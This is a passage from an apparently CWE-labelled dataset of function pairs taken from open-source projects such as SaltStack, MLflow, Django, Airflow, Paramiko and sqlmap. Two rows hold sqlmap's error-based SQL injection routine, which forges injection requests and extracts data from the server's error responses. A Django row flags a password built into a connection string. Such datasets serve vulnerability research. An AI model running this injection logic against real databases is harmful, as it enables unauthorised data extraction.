            comt = 'Command ""cmd.script"" would have been executed'
            ret.update(
                {""comment"": comt, ""result"": None, ""changes"": {""cmd"": ""cmd.script""}}
            )
            assert cmd.run(name) == ret",CWE-703,saltstack/salt,c66f34f5db22d5b67bad8a73a82797448b9ce0c4,"def test_run():
    """"""
    Test to run a command if certain circumstances are met.
    """"""
    name = ""cmd.script""

    ret = {""name"": name, ""result"": False, ""changes"": {}, ""comment"": """"}

    with patch.dict(cmd.__opts__, {""test"": False}):
        comt = ""Invalidly-formatted 'env' parameter. See documentation.""
        ret.update({""comment"": comt})
        assert cmd.run(name, env=""salt"") == ret

    with patch.dict(cmd.__grains__, {""shell"": ""shell""}):
        with patch.dict(cmd.__opts__, {""test"": False}):
            mock = MagicMock(side_effect=[CommandExecutionError, {""retcode"": 1}])
            with patch.dict(cmd.__salt__, {""cmd.run_all"": mock}):
                ret.update({""comment"": """", ""result"": False})
                assert cmd.run(name) == ret

                ret.update(
                    {
                        ""comment"": 'Command ""cmd.script"" run',
                        ""result"": False,
                        ""changes"": {""retcode"": 1},
                    }
                )
                assert cmd.run(name) == ret

        with patch.dict(cmd.__opts__, {""test"": True}):
            comt = 'Command ""cmd.script"" would have been executed'
            ret.update({""comment"": comt, ""result"": None, ""changes"": {}})
            assert cmd.run(name) == ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pyfunc/docker/conftest.py,0,"def save_model_with_latest_mlflow_version(flavor, extra_pip_requirements=None, **kwargs):
    """"""
    Save a model with overriding MLflow version from dev version to the latest released version.
    By default a model is saved with the dev version of MLflow, which is not available on PyPI.
    Usually we can be workaround this by adding --serve-wheel flag that starts local PyPI server,
    however, this doesn't work when installing dependencies inside Docker container. Hence, this
    function uses `extra_pip_requirements` to save the model with the latest released MLflow.
    """"""
    latest_mlflow_version = get_released_mlflow_version()
    if flavor == ""langchain"":
        kwargs[""pip_requirements""] = [f""mlflow[gateway]=={latest_mlflow_version}"", ""langchain""]
    elif flavor == ""fastai"":
        import fastai

        # pip dependency resolution works badly with auto-inferred fastai model dependencies
        # and it ends up with downloading many versions of toch package, and makes CI container
        # runs out of disk space.
        # So set `pip_requirements` explicitly as a workaround.
        kwargs[""pip_requirements""] = [
            f""mlflow=={latest_mlflow_version}"",
            f""fastai=={fastai.__version__}"",
        ]
    else:
        extra_pip_requirements = extra_pip_requirements or []
        extra_pip_requirements.append(f""mlflow=={latest_mlflow_version}"")
        kwargs[""extra_pip_requirements""] = extra_pip_requirements
    flavor_module = getattr(mlflow, flavor)
    flavor_module.save_model(**kwargs)",,mlflow/mlflow,eaf87993d58f39a576b75b0ceb2f32fdba2fc7c5,"def save_model_with_latest_mlflow_version(flavor, extra_pip_requirements=None, **kwargs):
    """"""
    Save a model with overriding MLflow version from dev version to the latest released version.
    By default a model is saved with the dev version of MLflow, which is not available on PyPI.
    Usually we can be workaround this by adding --serve-wheel flag that starts local PyPI server,
    however, this doesn't work when installing dependencies inside Docker container. Hence, this
    function uses `extra_pip_requirements` to save the model with the latest released MLflow.
    """"""
    latest_mlflow_version = get_released_mlflow_version()
    if flavor == ""langchain"":
        kwargs[""pip_requirements""] = [f""mlflow[gateway]=={latest_mlflow_version}"", ""langchain""]
    else:
        extra_pip_requirements = extra_pip_requirements or []
        extra_pip_requirements.append(f""mlflow=={latest_mlflow_version}"")
        kwargs[""extra_pip_requirements""] = extra_pip_requirements
    flavor_module = getattr(mlflow, flavor)
    flavor_module.save_model(**kwargs)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/error/use.py,0,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
        logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = ""searching for error chunk length...""
        logger.debug(debugMsg)

        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)
            testQuery = ""SELECT %s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))

            if (result or """").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r""\A\w+"", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current else current - 1
            else:
                current = current / 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
                trimcheck = r""%s(?P<result>[^<\n]*)"" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace(""[QUERY]"", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        if not chunkTest:
                            warnMsg = ""possible server trimmed output detected ""
                            warnMsg += ""(due to its length and/or content): ""
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r""(?P<result>[^<>\n]*?)%s"" % kb.chars.stop[:2]
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
                                check = ""(?P<result>[^\s<>'\""]+)""
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not conf.api:
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = ""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal",,sqlmapproject/sqlmap,ebbc68853d0eaac96a7802087c7546450665b784,"def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")
        logger.info(""resuming partial value: '%s'"" % _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = ""searching for error chunk length...""
        logger.debug(debugMsg)

        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)
            testQuery = ""SELECT %s('%s',%d)"" % (""REPEAT"" if Backend.isDbms(DBMS.MYSQL) else ""REPLICATE"", testChar, current)
            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))

            if (result or """").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r""\A\w+"", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current else current - 1
            else:
                current = current / 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
                trimcheck = r""%s(?P<result>[^<\n]*)"" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in (""COUNT"", ""CASE"")) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(field), expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace(""[QUERY]"", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(r""('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)"" % (kb.chars.start, kb.chars.stop), """", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        if not chunkTest:
                            warnMsg = ""possible server trimmed output detected ""
                            warnMsg += ""(due to its length and/or content): ""
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r""(?P<result>[^<>\n]*?)%s"" % kb.chars.stop[:2]
                            output = extractRegexResult(check, trimmed, re.IGNORECASE)

                            if not output:
                                check = ""(?P<result>[^\s<>'\""]+)""
                                output = extractRegexResult(check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output:
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r""\n"", ""\n"").replace(r""\t"", ""\t""))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout(""\r%s\r"" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression, ""%s%s"" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = ""%s(?P<result>.*?)%s"" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal"
,UNKNOWN,UNKNOWN,django/contrib/gis/tests/inspectapp/tests.py,1,"def get_ogr_db_string():
    """"""
    Construct the DB string that GDAL will use to inspect the database.
    GDAL will create its own connection to the database, so we re-use the
    connection settings from the Django test.
    """"""
    db = connections.databases['default']

    # Map from the django backend into the OGR driver name and database identifier
    # http://www.gdal.org/ogr/ogr_formats.html
    #
    # TODO: Support Oracle (OCI).
    drivers = {
        'django.contrib.gis.db.backends.postgis': ('PostgreSQL', ""PG:dbname='%(db_name)s'"", ' '),
        'django.contrib.gis.db.backends.mysql': ('MySQL', 'MYSQL:""%(db_name)s""', ','),
        'django.contrib.gis.db.backends.spatialite': ('SQLite', '%(db_name)s', '')
    }

    drv_name, db_str, param_sep = drivers[db['ENGINE']]

    # Ensure that GDAL library has driver support for the database.
    try:
        Driver(drv_name)
    except:
        return None

    # SQLite/Spatialite in-memory databases
    if db['NAME'] == "":memory:"":
        return None

    # Build the params of the OGR database connection string
    params = [db_str % {'db_name': db['NAME']}]

    def add(key, template):
        value = db.get(key, None)
        # Don't add the parameter if it is not in django's settings
        if value:
            params.append(template % value)
    add('HOST', ""host='%s'"")
    add('PORT', ""port='%s'"")
    add('USER', ""user='%s'"")
    add('PASSWORD', ""password='%s'"")

    return param_sep.join(params)",CWE-259,django/django,c3aa2948c6c14862407501290571f858ccf45b07,"def get_ogr_db_string():
    """"""
    Construct the DB string that GDAL will use to inspect the database.
    GDAL will create its own connection to the database, so we re-use the
    connection settings from the Django test.
    """"""
    db = connections.databases['default']

    # Map from the django backend into the OGR driver name and database identifier
    # http://www.gdal.org/ogr/ogr_formats.html
    #
    # TODO: Support Oracle (OCI).
    drivers = {
        'django.contrib.gis.db.backends.postgis': ('PostgreSQL', ""PG:dbname='%(db_name)s'"", ' '),
        'django.contrib.gis.db.backends.mysql': ('MySQL', 'MYSQL:""%(db_name)s""', ','),
        'django.contrib.gis.db.backends.spatialite': ('SQLite', '%(db_name)s', '')
    }

    drv_name, db_str, param_sep = drivers[db['ENGINE']]

    # Ensure that GDAL library has driver support for the database.
    try:
        Driver(drv_name)
    except:
        return None

    # SQLite/Spatialite in-memory databases
    if db['NAME'] == "":memory:"":
        return None

    # Build the params of the OGR database connection string
    params = [db_str % {'db_name': db['NAME']}]
    def add(key, template):
        value = db.get(key, None)
        # Don't add the parameter if it is not in django's settings
        if value:
            params.append(template % value)
    add('HOST', ""host='%s'"")
    add('PORT', ""port='%s'"")
    add('USER', ""user='%s'"")
    add('PASSWORD', ""password='%s'"")

    return param_sep.join(params)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def get_template_context(self, session=None):
        task = self.task
        from airflow import macros
        tables = None
        if 'tables' in task.params:
            tables = task.params['tables']

        ds = self.execution_date.isoformat()[:10]
        ts = self.execution_date.isoformat()
        yesterday_ds = (self.execution_date - timedelta(1)).isoformat()[:10]
        tomorrow_ds = (self.execution_date + timedelta(1)).isoformat()[:10]

        ds_nodash = ds.replace('-', '')
        ts_nodash = ts.replace('-', '').replace(':', '')
        yesterday_ds_nodash = yesterday_ds.replace('-', '')
        tomorrow_ds_nodash = tomorrow_ds.replace('-', '')

        ti_key_str = ""{task.dag_id}__{task.task_id}__{ds_nodash}""
        ti_key_str = ti_key_str.format(**locals())

        params = {}
        run_id = ''
        dag_run = None
        if hasattr(task, 'dag'):
            if task.dag.params:
                params.update(task.dag.params)
            dag_run = (
                session.query(DagRun)
                .filter_by(
                    dag_id=task.dag.dag_id,
                    execution_date=self.execution_date)
                .first()
            )
            run_id = dag_run.run_id if dag_run else None
            session.expunge_all()
            session.commit()

        if task.params:
            params.update(task.params)

        return {
            'dag': task.dag,
            'ds': ds,
            'ds_nodash': ds_nodash,
            'ts': ts,
            'ts_nodash': ts_nodash,
            'yesterday_ds': yesterday_ds,
            'yesterday_ds_nodash': yesterday_ds_nodash,
            'tomorrow_ds': tomorrow_ds,
            'tomorrow_ds_nodash': tomorrow_ds_nodash,
            'END_DATE': ds,
            'end_date': ds,
            'dag_run': dag_run,
            'run_id': run_id,
            'execution_date': self.execution_date,
            'latest_date': ds,
            'macros': macros,
            'params': params,
            'tables': tables,
            'task': task,
            'task_instance': self,
            'ti': self,
            'task_instance_key_str': ti_key_str,
            'conf': configuration,
            'test_mode': self.test_mode,
        }",CWE-Unknown,apache/airflow,6085f15b03caa6f5364318ed992ef898a20473b7,"def get_template_context(self, session=None):
        task = self.task
        from airflow import macros
        tables = None
        if 'tables' in task.params:
            tables = task.params['tables']

        ds = self.execution_date.isoformat()[:10]
        ts = self.execution_date.isoformat()
        yesterday_ds = (self.execution_date - timedelta(1)).isoformat()[:10]
        tomorrow_ds = (self.execution_date + timedelta(1)).isoformat()[:10]

        ds_nodash = ds.replace('-', '')
        ts_nodash = ts.replace('-', '').replace(':', '')
        yesterday_ds_nodash = yesterday_ds.replace('-', '')
        tomorrow_ds_nodash = tomorrow_ds.replace('-', '')

        ti_key_str = ""{task.dag_id}__{task.task_id}__{ds_nodash}""
        ti_key_str = ti_key_str.format(**locals())

        params = {}
        run_id = ''
        dag_run = None
        if hasattr(task, 'dag'):
            if task.dag.params:
                params.update(task.dag.params)
            dag_run = (
                session.query(DagRun)
                .filter_by(
                    dag_id=task.dag.dag_id,
                    execution_date=self.execution_date)
                .first()
            )
            run_id = dag_run.run_id if dag_run else None
            session.expunge_all()
            session.commit()

        if task.params:
            params.update(task.params)

        return {
            'dag': task.dag,
            'ds': ds,
            'ts': ts,
            'ts_nodash': ts_nodash,
            'yesterday_ds': yesterday_ds,
            'tomorrow_ds': tomorrow_ds,
            'END_DATE': ds,
            'ds_nodash': ds_nodash,
            'end_date': ds,
            'dag_run': dag_run,
            'run_id': run_id,
            'execution_date': self.execution_date,
            'latest_date': ds,
            'macros': macros,
            'params': params,
            'tables': tables,
            'task': task,
            'task_instance': self,
            'ti': self,
            'task_instance_key_str': ti_key_str,
            'conf': configuration,
            'test_mode': self.test_mode,
        }"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/channel.py,0,"def shutdown_write(self):
        """"""
        Shutdown the sending side of this socket, closing the stream in
        the outgoing direction.  After this call, future writes on this
        channel will fail instantly.  This is a convenience method, equivalent
        to ``shutdown(1)``, for people who don't make it a habit to
        memorize unix constants from the 1970s.

        .. versionadded:: 1.2
        """"""
        self.shutdown(1)",,paramiko/paramiko,94ae8ffb36d0a7bbaf402573eff560da1997f84f,"def shutdown_write(self):
        """"""
        Shutdown the sending side of this socket, closing the stream in
        the outgoing direction.  After this call, future writes on this
        channel will fail instantly.  This is a convenience method, equivalent
        to ``shutdown(1)``, for people who don't make it a habit to
        memorize unix constants from the 1970s.

        .. versionadded:: 1.2
        """"""
        self.shutdown(1)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/option.py,0,"def _setKnowledgeBaseAttributes(flushAll=True):
    """"""
    This function set some needed attributes into the knowledge base
    singleton.
    """"""

    debugMsg = ""initializing the knowledge base""
    logger.debug(debugMsg)

    kb.absFilePaths = set()
    kb.adjustTimeDelay = None
    kb.alerted = False
    kb.aliasName = randomStr()
    kb.alwaysRefresh = None
    kb.arch = None
    kb.authHeader = None
    kb.bannerFp = AttribDict()
    kb.base64Originals = {}
    kb.binaryField = False
    kb.browserVerification = None

    kb.brute = AttribDict({""tables"": [], ""columns"": []})
    kb.bruteMode = False

    kb.cache = AttribDict()
    kb.cache.addrinfo = {}
    kb.cache.content = {}
    kb.cache.encoding = {}
    kb.cache.alphaBoundaries = None
    kb.cache.hashRegex = None
    kb.cache.intBoundaries = None
    kb.cache.parsedDbms = {}
    kb.cache.regex = {}
    kb.cache.stdev = {}

    kb.captchaDetected = None

    kb.chars = AttribDict()
    kb.chars.delimiter = randomStr(length=6, lowercase=True)
    kb.chars.start = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
    kb.chars.stop = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
    kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))

    kb.codePage = None
    kb.columnExistsChoice = None
    kb.commonOutputs = None
    kb.connErrorChoice = None
    kb.connErrorCounter = 0
    kb.cookieEncodeChoice = None
    kb.copyExecTest = None
    kb.counters = {}
    kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
    kb.data = AttribDict()
    kb.dataOutputFlag = False

    # Active back-end DBMS fingerprint
    kb.dbms = None
    kb.dbmsFilter = []
    kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]

    kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
    kb.dep = None
    kb.disableHtmlDecoding = False
    kb.dnsMode = False
    kb.dnsTest = None
    kb.docRoot = None
    kb.droppingRequests = False
    kb.dumpColumns = None
    kb.dumpTable = None
    kb.dumpKeyboardInterrupt = False
    kb.dynamicMarkings = []
    kb.dynamicParameter = False
    kb.endDetection = False
    kb.explicitSettings = set()
    kb.extendTests = None
    kb.errorChunkLength = None
    kb.errorIsNone = True
    kb.falsePositives = []
    kb.fileReadMode = False
    kb.fingerprinted = False
    kb.followSitemapRecursion = None
    kb.forcedDbms = None
    kb.forcePartialUnion = False
    kb.forceThreads = None
    kb.forceWhere = None
    kb.forkNote = None
    kb.futileUnion = None
    kb.fuzzUnionTest = None
    kb.heavilyDynamic = False
    kb.headersFile = None
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicExtendedDbms = None
    kb.heuristicMode = False
    kb.heuristicPage = False
    kb.heuristicTest = None
    kb.hintValue = """"
    kb.htmlFp = []
    kb.httpErrorCodes = {}
    kb.inferenceMode = False
    kb.ignoreCasted = None
    kb.ignoreNotFound = False
    kb.ignoreTimeout = False
    kb.identifiedWafs = set()
    kb.injection = InjectionDict()
    kb.injections = []
    kb.jsonAggMode = False
    kb.laggingChecked = False
    kb.lastParserStatus = None

    kb.locks = AttribDict()
    for _ in (""cache"", ""connError"", ""count"", ""handlers"", ""hint"", ""index"", ""io"", ""limit"", ""liveCookies"", ""log"", ""socket"", ""redirect"", ""request"", ""value""):
        kb.locks[_] = threading.Lock()

    kb.matchRatio = None
    kb.maxConnectionsFlag = False
    kb.mergeCookies = None
    kb.multipleCtrlC = False
    kb.negativeLogic = False
    kb.nchar = True
    kb.nullConnection = None
    kb.oldMsf = None
    kb.orderByColumns = None
    kb.originalCode = None
    kb.originalPage = None
    kb.originalPageTime = None
    kb.originalTimeDelay = None
    kb.originalUrls = dict()

    # Back-end DBMS underlying operating system fingerprint via banner (-b)
    # parsing
    kb.os = None
    kb.osVersion = None
    kb.osSP = None

    kb.pageCompress = True
    kb.pageTemplate = None
    kb.pageTemplates = dict()
    kb.pageEncoding = DEFAULT_PAGE_ENCODING
    kb.pageStable = None
    kb.partRun = None
    kb.permissionFlag = False
    kb.postHint = None
    kb.postSpaceToPlus = False
    kb.postUrlEncode = True
    kb.prependFlag = False
    kb.processResponseCounter = 0
    kb.previousMethod = None
    kb.processUserMarks = None
    kb.proxyAuthHeader = None
    kb.queryCounter = 0
    kb.randomPool = {}
    kb.redirectChoice = None
    kb.reflectiveMechanism = True
    kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
    kb.requestCounter = 0
    kb.resendPostOnRedirect = None
    kb.resolutionDbms = None
    kb.responseTimes = {}
    kb.responseTimeMode = None
    kb.responseTimePayload = None
    kb.resumeValues = True
    kb.safeCharEncode = False
    kb.safeReq = AttribDict()
    kb.secondReq = None
    kb.serverHeader = None
    kb.singleLogFlags = set()
    kb.skipSeqMatcher = False
    kb.smokeMode = False
    kb.reduceTests = None
    kb.sslSuccess = False
    kb.stickyDBMS = False
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
    kb.tableExistsChoice = None
    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
    kb.testMode = False
    kb.testOnlyCustom = False
    kb.testQueryCount = 0
    kb.testType = None
    kb.threadContinue = True
    kb.threadException = False
    kb.tlsSNI = {}
    kb.uChar = NULL
    kb.udfFail = False
    kb.unionDuplicates = False
    kb.unionTemplate = None
    kb.webSocketRecvCount = None
    kb.wizardMode = False
    kb.xpCmdshellAvailable = False

    if flushAll:
        kb.checkSitemap = None
        kb.headerPaths = {}
        kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
        kb.lastCtrlCTime = None
        kb.normalizeCrawlingChoice = None
        kb.passwordMgr = None
        kb.postprocessFunctions = []
        kb.preprocessFunctions = []
        kb.skipVulnHost = None
        kb.storeCrawlingChoice = None
        kb.tamperFunctions = []
        kb.targets = OrderedSet()
        kb.testedParams = set()
        kb.userAgents = None
        kb.vainRun = True
        kb.vulnHosts = set()
        kb.wafFunctions = []
        kb.wordlists = None",,sqlmapproject/sqlmap,78ba33737ef06cecdee019cad56ffda267d191ee,"def _setKnowledgeBaseAttributes(flushAll=True):
    """"""
    This function set some needed attributes into the knowledge base
    singleton.
    """"""

    debugMsg = ""initializing the knowledge base""
    logger.debug(debugMsg)

    kb.absFilePaths = set()
    kb.adjustTimeDelay = None
    kb.alerted = False
    kb.aliasName = randomStr()
    kb.alwaysRefresh = None
    kb.arch = None
    kb.authHeader = None
    kb.bannerFp = AttribDict()
    kb.base64Originals = {}
    kb.binaryField = False
    kb.browserVerification = None

    kb.brute = AttribDict({""tables"": [], ""columns"": []})
    kb.bruteMode = False

    kb.cache = AttribDict()
    kb.cache.addrinfo = {}
    kb.cache.content = {}
    kb.cache.encoding = {}
    kb.cache.alphaBoundaries = None
    kb.cache.hashRegex = None
    kb.cache.intBoundaries = None
    kb.cache.parsedDbms = {}
    kb.cache.regex = {}
    kb.cache.stdev = {}

    kb.captchaDetected = None

    kb.chars = AttribDict()
    kb.chars.delimiter = randomStr(length=6, lowercase=True)
    kb.chars.start = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
    kb.chars.stop = ""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
